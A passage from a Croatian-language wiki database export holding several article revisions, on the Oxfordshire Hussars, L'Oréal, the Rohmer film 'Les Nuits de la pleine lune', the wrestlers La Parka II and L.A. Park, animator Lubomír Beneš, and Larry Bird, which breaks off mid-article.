godine. Osnovana je kao [[konjica|konjićka]] jedinica 1794. godine od strane dobrovoljaca u [[engleska|engleskoj]] grofoviji [[Oxfordshire]]. Sudjelovala je u [[Drugi burski rat|Drugom burskom ratu]], [[Prvi svjetski rat|Prvom svjetskom ratu]] i [[Drugi svjetski rat|Drugom svjetskom ratu]]. 1967. je bila rasformirana, prije nego što je 1971. ponovno formirana, a danas njenu tradiciju nastavlja 142. vozački eskadron [[Royal Logistic Corps|Kraljevskog logističkog korpusa]]. == Vanjske veze == {{Commonscat|Queen's Own Oxfordshire Hussars}} * [http://british-army-units1945on.co.uk British Army units from 1945 on] * {{cite web |publisher=The Long, Long Trail |accessdate=6 April 2015 |last=Baker |first=Chris |title=The Oxfordshire Yeomanry |url=http://www.1914-1918.net/ox.htm |archive-date=2019-04-21 |archive-url=https://web.archive.org/web/20190421171057/http://www.1914-1918.net/ox.htm |url-status=dead }} * [https://web.archive.org/web/20051228103659/http://www.regiments.org/regiments/index.htm Land Forces of Britain, the Empire and Commonwealth – Regiments.org (archive site)] * [https://web.archive.org/web/20140806195614/http://www.ra39-45.pwp.blueyonder.co.uk/index.html The Royal Artillery 1939–1945] {{Normativna kontrola}} [[Kategorija:Nastanci 1794.]] [[Kategorija:Oružane snage Ujedinjenog Kraljevstva]] [[Kategorija:Vojne jedinice]] h4sr7d10wvbsakaxejbe0k551jc75r2 0 4641069 42602602 42386459 2026-05-27T20:09:49Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602602 wikitext text/x-wiki [[Slika:L'Oréal logo.svg|desno|250px]] [[Slika:L'Oréal Group global locations.JPG|desno|mini|Zemljovid država u kojima su dostupni L'Orealovi proizvodi]] '''L'Oreal S.A.''', francuski je kozmetički div i najveća kozmetička tvrtka na svijetu, sa sjedištem u [[Pariz]]u. Zapošljava 90.000 ljudi te posjeduje svjetski poznate kozmetičke marke bojila za kosu [[Garnier]], šminke [[Maybelline]], parfema [[Lancôme]], krema [[Vichy]] i dr. Tvrtku je 1909. osnovao francuski kemičar njemačkog podrijetla [[Eugène Schueller]] prilikom razvoja formule za bojilo za kosu nazvano ''0réale'', koje je prodavao pariškim [[frizer]]ima. Tvrtku je prijavio tek deset godina nakon osnivanja. Dok je 1920. L'Oreal zapošljavao trojicu kemičara, 1984. taj je broj narasao na tisuću zaposlenika. Vremenom je L'Oreal prerastao u prvoklasnu i međunarodno priznatu kozmetičku marku, s razvojnim i istraživačkim centrima u [[Francuska|Francuskoj]], [[New Jersey]]iju, [[Kawasaki]]ju, [[Šangaj]]u i [[Indija|Indiji]]. L'Oreal ima podružnice u [[New York (grad)|New York]]u, [[Montreal]]u, [[Melbourne]]u, [[Kopenhagen]]u i [[Düsseldorf]]u. Švicarski prehrambeni div [[Nestlé]] u posjedu je 23% L'Orealovih [[dionica]]. Tvrtka se redovito nalazi na Popisu 500 najvećih tvtrki svijeta »Global 500« časopisa ''Fortune''.<ref>[https://money.cnn.com/magazines/fortune/global500/2007/snapshots/6801.html Fortune Global 500] {{Webarchive|url=https://web.archive.org/web/20130201125056/http://money.cnn.com/magazines/fortune/global500/2007/snapshots/6801.html |date=2013-02-01 }} ''CNN Money'' (pristupljeno 20. siječnja 2018.)</ref> L'Oreal je pokretač i pokrovitelj [[UNESCO]]-ve Nagrade za žene u znanosti, kao i brojnih drugih UNESCO-vih projekata. Među brojnim zaštitnim licima L'Orealovih kampanja našla se i američka filmska glumica [[Scarlett Johansson]]. == Napomene == {{izvori}} == Vanjske veze == {{Commonscat|L'Oréal}} * [https://www.loreal.com/ Službene stranice L'Oreala] {{Normativna kontrola}} [[Kategorija:Nastanci 1909.]] [[Kategorija:Francuske kompanije]] [[Kategorija:Francuski brendovi]] [[Kategorija:Kozmetika]] [[Kategorija:Kompanije u Parizu]] bqabvtu94z9pewd8knsd5zh2irw8q85 0 4644010 42602648 41562869 2026-05-28T01:56:09Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602648 wikitext text/x-wiki {{Infokutija film | naslov = Les Nuits de la pleine lune | slika = Les Nuits de la pleine lune.jpg | director = [[Éric Rohmer]] | producer = [[Margaret Ménégoz]]<ref name="bifi" /> | writer = Eric Rohmer | screenplay = | story = | based on = <!-- {{based on |[title of the original work] |[writer of the original work]}} --> | starring = {{plainlist| *[[Pascale Ogier]] *[[Fabrice Luchini]] *[[Tchéky Karyo]] }} | narrator = | music = [[Elli et Jacno]] | cinematography = [[Renato Berta]]<ref name="bifi" /> | editing = [[Cécile Decugis]] | distributor = | released = {{film date |1984|8|29|df=y}} | runtime = 102 min.<ref name="allmovie" /> | country = {{flagcountry|FRA}} | language = francuski | budget = | gross = <!-- Please use condensed and rounded values, e.g. "£11.6 million" not "£11,586,221" --> | production companies = {{plainlist| *Les Films du Losange *Les Films Ariane<ref name="bifi" />}} }} '''''Les Nuits de la pleine lune''''' ({{jez-sh|Noći punog mjeseca}}) je [[francuska|francuski]] igrani film snimljen [[1984. na filmu|1984.]] godine u režiji [[Eric Rohmer|Erica Rohmera]]. Predstavlja četvrti dio Rohmerovog ciklusa ''[[Comedies et Proverbes]]''. Po žanru je ljubavna drama, a protagonistica, čiji lik tumači [[Pascale Ogier]], je pariška dekoraterka koja zajedno sa svojim momkom živi u [[Pariz|pariškom]] predgrađu, ali čija je žudnja sa slobodom potakne da iznajmni stan u centru grada. == Uloge == * [[Pascale Ogier]] : Louise * [[Tchéky Karyo]] : Rémi * [[Fabrice Luchini]] : Octave * [[Virginie Thévenet]] : Camille * [[Christian Vadim]] : Bastien * [[László Szabó]] : Le peintre du café * [[Lisa Garneri]] : Tina, la baby-sitter * [[Mathieu Schiffman]] : L'ami décorateur de Louise * [[Anne-Séverine Liotard]] : Marianne * [[Hervé Grandsart]] : Bertrand, l'ami de Rémi * [[Elli Medeiros]] * [[Noël Coffman]] : Stanislas ==Izvori== {{izvori|refs= <ref name="bifi">{{cite web|url=http://cinema.encyclopedie.films.bifi.fr/index.php?pk=51037&_ga=1.167843300.479342933.1402401566|publisher=Bifi.fr|title=Les Nuits de la pleine lune (1984)|language=French|accessdate=16. XII 2014}}</ref> <ref name="allmovie">{{cite web|url=http://www.allmovie.com/movie/full-moon-in-paris-v18881/|publisher=[[AllMovie]]|title=Full Moon in Paris (1984)|accessdate=16. XII 2014|last=Tobey|first=Matthew}}</ref> }} ==Vanjske veze== * {{IMDb naslov}} * {{Rotten Tomatoes|full_moon_in_paris}} *[http://filmsdefrance.com/FDF_Nuits_de_la_pleine_lune_rev.html ''Les Nuits de la pleine lune''] {{Webarchive|url=https://web.archive.org/web/20121025145714/http://filmsdefrance.com/FDF_Nuits_de_la_pleine_lune_rev.html |date=2012-10-25 }} at filmsdefrance.com {{Éric Rohmer}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Romantični filmovi]] 05wpqbrsw04q97uu6vdg1eksi3ryvc6 0 4647821 42602611 41315566 2026-05-27T21:41:17Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602611 wikitext text/x-wiki {{About|AAA hrvaču La Parki|originalni lik|La Parka|ostale upotrebe|La Parka (razvrstavanje)}} [[File:LaParkaE3.jpg|thumb|La Parka potpisuje autogram fanu]] '''Jesús Alfonso Huerta Escoboza'''<ref>{{cite journal|last=Meltzer|first=Dave|authorlink=Dave Meltzer|date=October 31, 2011|title=Oct. 31 Observer Newsletter: Rock returns to the ring, Viacom buys stake in Bellator details, Survivor Series recap, All Japan's last major show of the year, tons more|periodical=[[Dave Meltzer#Wrestling Observer Newsletter|Wrestling Observer Newsletter]]|publication-place=Campbell, CA|issn=1083-9593|page=14|quote=La Parka (Jesus Escobedo) did his first interview since turning heel at the 10/21 TV taping in Xalapa, which drew 4,000 fans, which was close to full in the smaller arena.}}</ref> (4. januar 1966 {{ndash}} 11. januar 2020) bio je [[Meksiko|meksički]] ''[[Lucha libre|luchador]] [[maska za hrvanje|enmascarado]]'', ili maskirani [[Profesionalno hrvanje|profesionalni hrvač]], poznatiji kao '''La Parka''' (ili '''La Parka II''' radi razlikovanja od originalnog [[La Parka|La Parke]]). Radio je za meksičku profesionalnu hrvačku promociju [[Lucha Libre AAA Worldwide|AAA]] od sredine 1990-ih do 2019. Dana 11. januara 2020, Huerta je umro od komplikacija nakon lošeg poteza tokom meča u oktobru 2019.<ref>{{Cite web|url=https://ca.sports.yahoo.com/news/la-parka-mexican-wrestler-ring-dies-010637561.html|title=Mexican wrestler La Parka dies months after paralyzing fall out of ring|website=ca.sports.yahoo.com|language=en-CA|access-date=January 14, 2020|archive-date=2020-01-15|archive-url=https://web.archive.org/web/20200115191121/https://ca.sports.yahoo.com/news/la-parka-mexican-wrestler-ring-dies-010637561.html|url-status=dead}}</ref> Escoboza nije bio prvi hrvač koji je koristio ime u ringu „La Parka”; Adolfo Tapia je bio originalni La Parka ali nije imao ni ime ni lik. Krajem 1990-ih, Escoboza je prozvan ''La Parkom mlađim'', a potom je 2003. postao „zvanični” La Parka, dok je Tapia primoran da prestane koristiti ime i umjesto toga postane poznat kao L.A. Park.<ref name=MondoParka>{{cite book|author=Madigan, Dan|title=Mondo Lucha A Go-Go: the bizarre and honorable world of wild Mexican wrestling|publisher=HarperColins Publisher|year=2007|chapter=La Parka|pages=120–124|isbn=978-0-06-085583-3}}</ref> ==Reference== {{reflist}} == Vanjske veze == *[http://www.luchalibreaaa.com/luchador/la-parka/ AAA profil] {{Webarchive|url=https://web.archive.org/web/20200117064451/http://www.luchalibreaaa.com/luchador/la-parka/ |date=2020-01-17 }} {{klica-biografija}} [[Kategorija:Rođeni 1966.]] [[Kategorija:Umrli 2020.]] [[Kategorija:Hrvači]] cdugpvd4g8kz62n5zroa3f5g6usr5nh 0 4647823 42602610 41362562 2026-05-27T21:41:16Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602610 wikitext text/x-wiki {{About|originalnom La Parki|AAA hrvača|La Parka II|ostale upotrebe|La Parka (razvrstavanje)}} [[File:LA_Park_at_LuchaTO_Jan_2016.jpg|thumb|La Parka u januaru 2016]] '''Adolfo Margarito Tapia Ibarra''' (rođen 14. novembra 1965) meksički je ''[[Lucha libre|luchador]] enmascarado'' ([[maska za hrvanje|maskirani]] [[profesionalno hrvanje|profesionalni hrvač]]), a trenutno nastupa za [[Major League Wrestling|MLW]] i najpoznatiji je u svijetu kao '''La Parka''', pogotovo zbog mnogo godina provedenih u američkoj [[World Championship Wrestling|WCW]] promociji. Radio je za svaku veliku i više manjih hrvačkih promocija u Meksiku, kao i u Japanu. Trostruki je svjetski šampion, a držao je titule [[IWC World Heavyweight Championship|IWC World Heavyweight]], IWC World Hardcore i [[IWL World Heavyweight Championship|IWL World Heavyweight]] takmičenja istovremeno. Tapia je primoran da promijeni svoje ime u ringu iz „La Parka” u „'''L.A. Park'''” (skraćenica za ''La Auténtica Park'', „originalni Park”) početkom 2003. kada je vlasnik [[Asistencia Asesoría y Administración|AAA-a]] [[Antonio Peña]] razmotrio njegove tvrdnje o pravima na lik La Parka, onemogućavajući ga da koristi to ime (koje koristi sada [[La Parka II]]). U martu 2010, L.A. Park se vratio u AAA i počeo saradnju sa AAA-ovim La Parkom, suprotstavljajući mu se. Na događaju [[Triplemania XVIII]], Park je pobijedio La Parku i stekao prava da ponovo postane poznat kao „La Parka”. Rezultat je kasnije odbačen. Tapijin ujak je promijenio svoj lik u [[Super Parka]] nakon što je Tapia stekao svjetsku slavu. Nekoliko Tapijinih drugih rođaka su profesionalni hrvači, uključujući njegovog brata [[El Hijo de Cien Caras|El Hijoa de Ciena Carasa]],<ref name="madigan"/> nećaka [[Volador Jr.|Voladora mlađeg]]<ref name="madigan">Madigan, Dan (2007). "A family affair". ''Mondo Lucha a Go Go: the bizarre and honorable world of wild Mexican wrestling''. HarperColins Publisher. pp. 128–132. {{ISBN|978-0-06-085583-3}}.</ref> i velikog nećaka [[Flyer (hrvač)|Flyera]].<ref>[http://superluchas.com/2014/01/14/flyer-el-tercer-volador-esta-aqui/ "Flyer, el tercer Volador está aquí"] [Flyer, the third Volador is here] (in Spanish). SuperLuchas Magazine. February 14, 2014. Retrieved May 23, 2015.</ref> ==Reference== {{reflist}} == Vanjske veze == {{Commonscat}} *[https://web.archive.org/web/20130429031802/http://luchalibreaaa.com/roster/item/188-l-a-park.html AAA profil] *[https://www.wwe.com/superstars/la-parka WWE profil] {{Webarchive|url=https://web.archive.org/web/20200219023450/https://www.wwe.com/superstars/la-parka |date=2020-02-19 }} *[https://twitter.com/laparktapia Twitter] {{klica-biografija}} [[Kategorija:Rođeni 1965.]] [[Kategorija:Hrvači]] 29xa2h3nradbx00rkrbr4v0y514p2wb 0 4650967 42602697 41315992 2026-05-28T08:30:39Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602697 wikitext text/x-wiki {{Filmski umjetnik |ime = Lubomír Beneš |slika = |veličina = |opis slike = |rodno ime = |pseudonim = |rođenje = {{birth date|1935|11|7}} |mjesto rođenja = [[Prag]], [[Prva Čehoslovačka Republika|Čehoslovačka]] |smrt = {{death date and age|1995|9|12|1935|11|7}} |mjesto smrti = [[Roztoky u Prahy|Roztoky kod Praga]], [[Češka]] |zanimanje = [[animirani film|animator]], [[scenarist]] i [[filmski režiser|filmski režiser]] |godine rada = |web = |supruga = |suprug = |važnije uloge = |važniji filmovi = |oscar = |emmy = |tony = |zlatni globus = |bafta = |cesar = |goya = |afi = |olivier = |saturn = |ostale_nagrade = }} '''Lubomír Beneš''' ([[Prag]], [[7. 11.]] [[1935|1935]]. – [[Roztoky u Prahy|Roztoky kod Praga]], [[12. 9.]] [[1995|1995]]), [[Česi|češki]] [[animirani film|animator]], [[scenarist]] i [[filmski režiser|filmski režiser]], najpoznatiji kao stvaratelj poznate animirane serije ''[[A je to]]'' i suradnik filmske proizvodnje [[Československá televize|Čehoslovačke televizije]]. Rođen je i odrastao u praškom predgrađu [[Hloubětín]]u,<ref>{{Cite web|title=Lubomír Beneš|publisher=www.bobastudio.cz|url=http://www.bobastudio.cz/l-benes|language=češki|accesdate=17. 11. 2017|access-date=2020-02-15|archive-date=2017-11-17|archive-url=https://web.archive.org/web/20171117123029/http://www.bobastudio.cz/l-benes|dead-url=yes}}</ref> gdje je pohađao i privatne satove [[crtanje|crtanja]], [[slikarstvo|slikanja]] i [[pisanje|pisanja]]. [[Stop animacija|Stop animacijom]] počinje baviti još za studentskih dana u »[[Krátký film Praha|Praškom kratkom filmu]]«. Svoj prvi uradak, naslovljen ''Homo'' (čovjek), snimio je u studiju glasovitog češkog [[lutkarstvo|lutkara]] [[Jiří Trnka|Jiříja Trnke]]. Režirao je više od stotinu kratkih lutkarskih filmova, uglavnom namijenjenih dječjem gledateljstvu. Zanimljivost je da se pojavio u manjoj ulozi nagrađivanom kratkom filmu [[Jan Svěrák|Jana Svěráka]] [[Ropáci]] iz 1988. godine.<ref>[https://www.fdb.cz/lidi-zivotopis-biografie/52261-lubomir-benes.html Filmy, seriály, herci, recenze filmů - Filmová databáze online FDb.cz] Lubomír Beneš - Životopis _ Info (pristupljeno 28. 10. 2018)</ref> Nagrađivan na filmskim festivalima u [[Odesa|Odesi]], [[Bilbao|Bilbau]], [[Vancouver]]u, [[Kalifornija|Kaliforniji]] i [[Katalonija|Kataloniji]]. Bio je oženjen i imao kćer i sina [[Marek Beneš|Mareka]], koji je naslijedio redateljsku palicu ''A je toa''.<ref>[https://magazin.aktualne.cz/budou-mit-pat-a-mat-sikme-oci-cinska-studia-lakaji-na-cenu-a/r~e51c491af73911e59a5c002590604f2e/ Aktuálně.cz] Prokop Vodrážka: O Pata a Mata usilují Číňané. Jako Krtek nedopadnou, ujišťují čeští autoři. 1. 4. 2016. (pristupljeno 17. 11. 2017)</ref> == Reference == {{izvori}} == Vanjske veze == * {{IMDb name|0070904}} * [https://aleph.nkp.cz/F/?func=find-c&local_base=aut&ccl_term=ica=jk01011627 Národní autority České republiky] {{Webarchive|url=https://web.archive.org/web/20200715080222/https://aleph.nkp.cz/F/?func=find-c&local_base=aut&ccl_term=ica=jk01011627 |date=2020-07-15 }} {{cz icon}} * [http://www.getty.edu/vow/ULANFullDisplay?find=&role=&nation=&subjectid=500128818 Union List of Artist Names] {{en icon}} {{Normativna kontrola}} {{Lifetime|1935|1995|Beneš, Lubomír}} [[Kategorija:Češki animatori]] [[Kategorija:Češki lutkari]] [[Kategorija:Češki muzičari]] [[Kategorija:Češki scenaristi]] [[Kategorija:Češki filmski režiseri]] [[Kategorija:Češki filmski producenti]] [[Kategorija:Biografije, Prag]] m3llvks6be3f2yu3isye8ko7j46omfv 0 4652866 42602626 42581315 2026-05-27T23:40:06Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602626 wikitext text/x-wiki {{Infokutija Košarkaš | ime = Larry Bird | slika = Larry Bird Lipofsky.jpg | veličina = 199px | opis = | broj = | pozicija = [[nisko krilo]] / [[krilni centar]] | visina_ft = 6 | visina_in = 9 | visina_napomena = | težina_lb = 220 | težina_footnote = | liga = [[NBA]] | momčad = | momčad_link = | datum_rođenja = [[7. prosinca]] [[1956.]] | mjesto_rođenja = {{nowrap|{{flagicon|SAD|1912}} [[West Baden Springs, Indiana|West Baden Springs]], [[Indiana|IN]], [[Sjedinjene Države]]}} | datum_smrti = | mjesto_smrti = | nacionalnost = [[Amerikanci|Amerikanac]] | srednja_škola = [[Srednja škola Springs Valley|Springs Valley]]<br>{{small|[[French Lick, Indiana|French Lick]], [[Indiana|IN]]}} | sveučilište = [[Indiana State Sycamores|Indiana State]] (1976–1979) | draft_godina = 1978. | draft_krug = 1. | draft_pick = 6 | draft_momčad = [[Boston Celtics]] | karijera_start = [[1979.]] | karijera_kraj = [[1992.]] | trener_start = [[1997.]] | trener_kraj = [[2000.]] | godine1 = 1979 – 1992 | momčad1 = {{flagicon|SAD}} [[Boston Celtics]] | godine2 = | momčad2 = | godine3 = | momčad3 = | godine4 = | momčad4 = | godine5 = | momčad5 = | godine6 = | momčad6 = | godine7 = | momčad7 = | godine8 = | momčad8 = | godine9 = | momčad9 = | godine10 = | momčad10 = | godine11 = | momčad11 = | godine12 = | momčad12 = | godine13 = | momčad13 = | godine14 = | momčad14 = | godine15 = | momčad15 = | godine16 = | momčad16 = | godine17 = | momčad17 = | godine18 = | momčad18 = | godine19 = | momčad19 = | godine20 = | momčad20 = | godine21 = | momčad21 = | godine22 = | momčad22 = | godine23 = | momčad23 = | godine24 = | momčad24 = | godine25 = | momčad25 = | godine26 = | momčad26 = | godine27 = | momčad27 = | godine28 = | momčad28 = | godine29 = | momčad29 = | godine30 = | momčad30 = | godine31 = | momčad31 = | godine32 = | momčad32 = | godine33 = | momčad33 = | godine34 = | momčad34 = | godine35 = | momčad35 = | godine36 = | momčad36 = | godine37 = | momčad37 = | godine38 = | momčad38 = | godine39 = | momčad39 = | godine40 = | momčad40 = | sgodine1 = 1997 – 2000 | smomčad1 = {{flagicon|SAD}} [[Indiana Pacers]] | sgodine2 = | smomčad2 = | sgodine3 = | smomčad3 = | sgodine4 = | smomčad4 = | sgodine5 = | smomčad5 = | sgodine6 = | smomčad6 = | sgodine7 = | smomčad7 = | sgodine8 = | smomčad8 = | sgodine9 = | smomčad9 = | sgodine10 = | smomčad10 = | sgodine11 = | smomčad11 = | sgodine12 = | smomčad12 = | sgodine13 = | smomčad13 = | sgodine14 = | smomčad14 = | sgodine15 = | smomčad15 = | sgodine16 = | smomčad16 = | sgodine17 = | smomčad17 = | sgodine18 = | smomčad18 = | sgodine19 = | smomčad19 = | sgodine20 = | smomčad20 = | rgodine1 = 1992 | rep1 = {{flagicon|SAD}} [[Košakarška reprezentacija Sjedinjenih Američkih Država|Sjedinjene Države]] | rgodine2 = | rep2 = | rgodine3 = | rep3 = | rgodine4 = | rep4 = | rgodine5 = | rep5 = | uspjesi = '''Kao igrač:''' * 3× [[NBA prvak]] ([[1981.]], [[1984.]], [[1986.]]) * 2× [[Nagrada Bill Russell za najkorisnijeg igrača NBA finala|MVP NBA finala]] ([[1984.]], [[1986.]]) * 3× [[Nagrada za najkorisnijeg igrača NBA lige|NBA MVP]] ([[1984.]] – [[1986.]]) * 12× [[NBA All-Star]] ([[1980.]] – [[1988.]], [[1990.]] – [[1992.]]) * [[Nagrada za najkorisnijeg igrača NBA All-Star utakmice|NBA All-Star MVP]] ([[1982.]]) * 9× [[All-NBA prva momčad]] ([[1980.]] – [[1988.]]) * [[All-NBA druga momčad]] ([[1990.]]) * 3× [[Najbolja druga obrambena momčad NBA lige|Najbolja druga obrambena momčad]] ([[1982.]] – [[1984.]]) * [[Nagrada za novaka godine NBA lige|NBA Novak godine]] ([[1980.]]) * [[Najbolja momčad novaka NBA lige]] ([[1980.]]) * 3× [[Natjecanje u tricama|Pobjednik natjecanja u tricama]] ([[1986.]] – [[1988.]]) * 2× [[Klub 50–40–90]] ([[1987.]], [[1988.]]) * [[Sportaš godine Associated Pressa]] ([[1986.]]) * Umirovljen dres s brojem 33 ([[Boston Celtics]]) * [[50 najvećih igrača u historiji NBA lige]] * Umirovljen dres s brojem 33 ([[Indiana State Sycamores]]) '''Kao trener:''' * [[Nagrada za trenera godine NBA lige|Trener godine]] ([[1998.]]) * [[Glavni trener NBA All-Star utakmice]] ([[NBA All-Star utakmica 1998.|1998.]]) '''Kao službenik:''' * [[Nagrada za NBA službenika godine|Službenik godine]] ([[2012.]]) | stat1label = Poeni | stat1vrijednost = 21,791 (24.3/uta.) | stat2label = Skokovi | stat2vrijednost = 8,974 (10.0/uta.) | stat3label = Asistencije | stat3vrijednost = 5,695 (6.3/uta.) | bbr = birdla01 | HOF_igrač = larry-bird | CBBASKHOF_godina = 2006 | medalje = {{MedalCountry | {{flag|Sjedinjene Države}} }} {{MedalCount |[[Univerzijada]]|1|0|0 |[[FIBA AmeriCup]]|1|0|0 |[[Olimpijske igre]]|1|0|0 }} {{MedalCompetition|[[Univerzijada]]}} {{MedalGold|{{flagicon|BUG|1971}} [[Univerzijada 1977.|Sofija 1977.]]|[[Košakarška reprezentacija Sjedinjenih Američkih Država|Momčad]] }} {{MedalCompetition|[[FIBA AmeriCup]]}} {{MedalGold|{{flagicon|SAD}} [[Turnir Amerika 1992.|Sjedinjene Države 1992.]]|[[Košakarška reprezentacija Sjedinjenih Američkih Država|Momčad]] }} {{MedalCompetition|[[Olimpijske igre]]}} {{MedalGold|{{flagicon|ŠPA}} [[Olimpijada 1992.|Barcelona 1992.]]|[[Košakarška reprezentacija Sjedinjenih Američkih Država|Momčad]] }} }} '''Larry Joe Bird''' ([[West Baden Springs, Indiana|West Baden Springs]], [[Indiana|IN]], [[7. prosinca]] [[1956.]]) je umirovljeni [[SAD|američki]] košarkaš, trener i košarkaški djelatnik. Bird je cijelu igračku karijeru proveo u [[Boston Celtics]]ima, gdje je i dobio nadimak "The Hick from French Lick" (po općini u kojoj se nalazi njegov rodni grad), a danas ga se smatra jednim od najboljih košarkaša svih vremena. Izabran od strane [[Boston Celtics]]a kao 6. ukupni izbor na [[NBA draft 1978.|Draftu 1978.]] godine, Larry Bird će biti zvjezdano [[nisko krilo]], odnosno [[krilni centar]] Celticsa tokom 13 sezona. Dvanaest je puta biran u sastav [[NBA All-Star]] utakmice, a tri je godine za redom dobivao [[Nagrada za najkorisnijeg igrača NBA lige|nagradu za MVP-a lige]] ([[1984.]] – [[1986.]]). Cijelu profesionalnu karijeru proveo je u Bostonu, s kojim je osvojio tri naslova prvaka i dvije [[Nagrada za najkorisnijeg igrača NBA finala|nagrade za MVP-a finalne serije]]. Također je bio član slavne [[Muška olimpijska košarkaška reprezentacija Sjedinjenih Američkih Država iz 1992.|reprezentacije]] koja je na [[Olimpijske igre 1992.|Olimpijadi 1992.]] godine osvojila zlatnu medalju, a dobila je nadimak "The Dream Team". Godine [[1996.]] uvršten je među [[50 najvećih igrača u historiji NBA lige]], dok je u [[Košarkaška kuća slavnih Naismith Memorial|Kuću slavnih Naismith Memorial]] biran čak dva puta - kao samostalni igrač [[1998.]] godine i kao član "Dream Teama" [[2010.]] godine. Nakon umirovljenja, Bird je od [[1997.]] do [[2000.]] godine bio glavni trener [[Indiana Pacers]]a. Imenovan je [[Nagrada za trenera godine NBA lige|trenerom godine]] u [[NBA sezona 1997./1998.|sezoni 1997./1998.]], a [[2000.]] je godine vodio Pacerse do njihovog prvog i jedinog [[NBA finale|NBA finala]], gdje su izgubili od [[Los Angeles Lakers]]a, koje je vodio [[Phil Jackson]]. Godine [[2003.]] imenovan je predsjednikom košarkaških operacija u Pacersima, što je pozicija koju je držao do umirovljenja [[2012.]] godine,<ref>{{cite news | url=https://www.usatoday.com/sports/basketball/nba/pacers/.../larry-bird.../1 | archive-url=https://web.archive.org/web/20160308042100/http://www.usatoday.com/sports/basketball/nba/pacers/.../larry-bird.../1 | url-status=dead | archive-date=March 8, 2016 | work=USA Today | title=Sports Essentials | access-date=2020-03-11 | archivedate=2016-03-08 | archiveurl=https://web.archive.org/web/20160308042100/http://www.usatoday.com/sports/basketball/nba/pacers/.../larry-bird.../1 | deadurl=yes }}</ref> kada je dobio i [[Nagrada za NBA službenika godine|Nagradu za službenika godine]]. Na položaj u klubu vratio se [[2013.]] godine<ref name=return>{{cite web|url=http://www.nba.com/pacers/news/reports-bird-returning |title=Bird Returns |website=Indiana Pacers |publisher=NBA |date=June 26, 2013 |access-date=May 13, 2015}}</ref> te je ostao u klubu sve do [[2017.]] godine, kada se ponovo umirovio. Od početka [[2020.]] godine, Larry Bird ostaje jedini igrač u NBA ligi koji je tokom karijere dobio nagrade za [[Nagrada za novaka godine NBA lige|novaka godine]], [[Nagrada za najkorisnijeg igrača NBA lige|MVP-a regularne sezone]], [[Nagrada za najkorisnijeg igrača NBA finala|MVP-a finalne serije]], [[Nagrada za najkorisnijeg igrača NBA All-Star utakmice|MVP-a All-Star utakmice]], [[Nagrada za trenera godine NBA lige|trenera godine]] i [[Nagrada za NBA službenika godine|službenika godine]].<ref name="triple award">{{cite news |url=http://sportsillustrated.cnn.com/2012/basketball/nba/05/16/larry.bird.pacers.executive.ap/index.html |title=Pacers' Bird named NBA's top exec |publisher=[[CNN Sports Illustrated]] |date=May 16, 2012|archive-url=https://web.archive.org/web/20120519090133/http://sportsillustrated.cnn.com/2012/basketball/nba/05/16/larry.bird.pacers.executive.ap/index.html |archive-date=May 19, 2012|quote="Indiana Pacers president Larry Bird was voted the NBA's Executive of the Year on Wednesday, becoming the first person to win that award, plus the MVP and Coach of the Year honors."}}</ref> == Rani život == Bird je rođen [[1956.]] godine u mjestu [[West Baden Springs, Indiana|West Baden Springs]], [[Indiana|IN]], kao sin veterana [[Korejski rat|Korejskog rata]], Claudea Josepha "Joea" Birda i Georgije Bird (''née'' Kerns).<ref name=Schwartz1>{{cite web|last=Schwartz|first=Larry|title=Plain and simple, Bird one of the best|url=http://espn.go.com/sportscentury/features/00014096.html|publisher=ESPN|access-date=July 29, 2013}}</ref> Imao je četiri brata i dvije sestre.<ref name="auto">{{Cite web|url=https://www.chicagotribune.com/news/ct-xpm-1987-12-17-8704030797-story.html|title=EDDIE BIRD HAS A TOUGH ACT TO FOLLOW AT INDIANA STATE|first=Chicago|last=Tribune|website=chicagotribune.com}}</ref> Odrastao je u obližnjem mjestu [[French Lick, Indiana|French Lick]], gdje je njegova majka radila dva posla kako bi uzdržavala Larryja i ostalu djecu.<ref name=Schwartz2>{{cite web|last=Schwartz|first=Larry|title=Eye for victory|url=http://espn.go.com/sportscentury/features/00014103.html|publisher=ESPN|access-date=July 29, 2013}}</ref> Bird je rekao da ga činjenica da je živio u siromaštvu motivira "i dan-danas".<ref name=1988flash>{{cite news|url=http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |title=Boston's Larry Bird, in what may be his finest season, gets Red Auerbach's vote—over Bill Russell—as the best ever |work=[[CNNSI.com]] |last=Deford |first=Frank |date=March 21, 1988 |access-date=May 24, 2011 |url-status=bot: unknown |archiveurl=https://web.archive.org/web/20130930041901/http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |archivedate=September 30, 2013}}</ref> Njegovi roditelji rastavili su se kada je Larry bio u srednjoj školi, a njegov je otac počinio [[samoubojstvo]] oko godinu dana nakon razvoda.<ref>{{cite news|last=Papanek |first=John |title=Gifts That God Didn't Give |url=http://sportsillustrated.cnn.com/vault/article/magazine/MAG1124961/4/index.htm |work=Sports Illustrated |access-date=July 29, 2013 |date=November 9, 1981 |url-status=bot: unknown |archiveurl=https://web.archive.org/web/20131109025611/http://sportsillustrated.cnn.com/vault/article/magazine/MAG1124961/4/index.htm |archivedate=November 9, 2013}}</ref> Bird je koristio košarku kao utočište od obiteljskih problema, postavši zvijezda [[Srednja škola Springs Valley|Srednje škole Springs Valley]],, za koju je prosječno postizao 31 poen, 21 skok i 4 asistencije kao maturant te je postao najbolji strijelac u historiji škole.<ref name=Schwartz1 /><ref name="Larry Bird: Biography">{{cite web|url=http://www.larrybird.com/Biography.aspx/|title=Larry Bird: Biography|access-date=June 28, 2013|archivedate=2013-05-01|archiveurl=https://web.archive.org/web/20130501094419/http://www.larrybird.com/Biography.aspx/|deadurl=yes}}</ref> Birdov brat, Eddie Bird, igrao je košarku za [[Indiana State Sycamores]]e.<ref name="auto"/> == Sveučilišna karijera == [[File:Larry Bird ISU.jpg|thumb|left|170px|Larry Bird u dresu Sycamoresa.]] Bird je [[1974.]] godine dobio stipendiju kako bi igrao sveučilišnu košarku za [[Indiana Hoosiers]]e pri [[Univerzitet u 